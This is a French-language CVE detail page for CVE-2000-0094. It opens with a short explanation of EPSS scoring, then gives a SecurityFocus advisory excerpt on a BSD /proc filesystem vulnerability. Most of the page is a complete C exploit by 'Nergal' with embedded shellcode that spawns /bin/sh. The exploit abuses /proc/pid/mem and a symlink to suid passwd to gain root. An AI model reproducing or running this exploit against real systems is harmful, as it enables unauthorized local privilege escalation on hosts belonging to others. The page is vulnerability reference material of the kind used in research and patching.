CVE-2000-0094 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/940/info Certain BSD derivative operating systems use an implantation of the /proc filesystem which is vulnerable to attack from malicious local users. This attack will gain the user root access to the host. The proc file system was originally designed to allow easy access to information about processes (hence the name). Its typical benefit is quicker access to memory hence more streamlined operations. As noted previously certain implementations have a serious vulnerability. In short, the vulnerability is that users may manipulate processes under system which use /proc to gain root privileges. The full details are covered at length in the advisory attached to the 'Credit' section of this vulnerability entry. /* by Nergal */ #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <signal.h> #include <sys/wait.h> char shellcode[] = "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20" "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00"; #define PASSWD "./passwd" void sg(int x) { } int main(int argc, char **argv) { unsigned int stack, shaddr; int pid,schild; int fd; char buff[40]; unsigned int status; char *ptr; char name[4096]; char sc[4096]; char signature[] = "signature"; signal(SIGUSR1, sg); if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST) { perror("creating symlink:"); exit(1); } shaddr=(unsigned int)&shaddr; stack=shaddr-2048; if (argc>1) shaddr+=atoi(argv[1]); if (argc>2) stack+=atoi(argv[2]); fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack); fprintf(stderr,"Wait for \"Press return\" prompt:\n"); memset(sc, 0x90, sizeof(sc)); strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode)); strncpy(sc,"EGG=",4); memset(name,'x',sizeof(name)); for (ptr = name; ptr < name + sizeof(name); ptr += 4) *(unsigned int *) ptr = shaddr; name[sizeof(name) - 1] = 0; pid = fork(); switch (pid) { case -1: perror("fork"); exit(1); case 0: pid = getppid(); sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if (fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ kill(pid, SIGUSR1); do { lseek(fd, (unsigned int) signature, SEEK_SET); } while (read(fd, buff, sizeof(signature)) == sizeof(signature) && !strncmp(buff, signature, sizeof(signature))); lseek(fd, stack, SEEK_SET); switch (schild = fork()) { case -1: perror("fork2"); exit(1); case 0: dup2(fd, 2); sleep(2); execl(PASSWD, name, "blahblah", 0); printf("execl failed\n"); exit(1); default: waitpid(schild, &status, 0); } fprintf(stderr, "\nPress return.\n"); exit(1); default: /* give parent time to open /proc/pid/mem */ pause(); putenv(sc); execl(PASSWD, "passwd", NULL); perror("execl"); exit(0); } }